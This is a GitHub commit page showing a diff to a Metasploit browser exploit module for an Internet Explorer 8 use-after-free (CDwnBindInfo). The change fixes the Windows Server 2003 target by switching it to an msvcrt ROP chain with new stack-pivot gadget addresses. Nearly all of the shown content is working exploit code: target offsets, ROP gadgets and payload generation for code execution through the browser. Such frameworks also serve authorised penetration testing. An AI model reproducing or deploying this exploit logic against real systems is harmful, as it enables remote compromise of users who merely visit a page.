Skip to content

Commit a46d553

Browse files
committed
Merge pull request #1 from jvazquez-r7/ie_w2003
fixed rop chain for w2003
2 parents cab84b5 + 6be8ed6 commit a46d553

File tree

1 file changed

+13
-6
lines changed

1 file changed

+13
-6
lines changed

modules/exploits/windows/browser/ie_cdwnbindinfo_uaf.rb

Lines changed: 13 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -58,8 +58,8 @@ def initialize(info={})
5858
[ 'Automatic', {} ],
5959
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
6060
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
61-
[ 'IE 8 on Windows Server 2003', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
62-
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30
61+
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
62+
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
6363
],
6464
'Privileged' => false,
6565
'DisclosureDate' => "Dec 27 2012",
@@ -152,10 +152,17 @@ def get_payload(t, cli)
152152
case t['Rop']
153153
when :msvcrt
154154
print_status("Using msvcrt ROP")
155-
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
156-
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
157-
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
158-
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
155+
if t['Name'] =~ /Windows XP/
156+
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
157+
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
158+
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
159+
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
160+
else
161+
stack_pivot = [0x77bcba5f].pack("V") * 54 # ret
162+
stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret
163+
stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
164+
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})
165+
end
159166
else
160167
print_status("Using JRE ROP")
161168
stack_pivot = [0x7c348b06].pack("V") * 54 # ret

0 commit comments

Comments
 (0)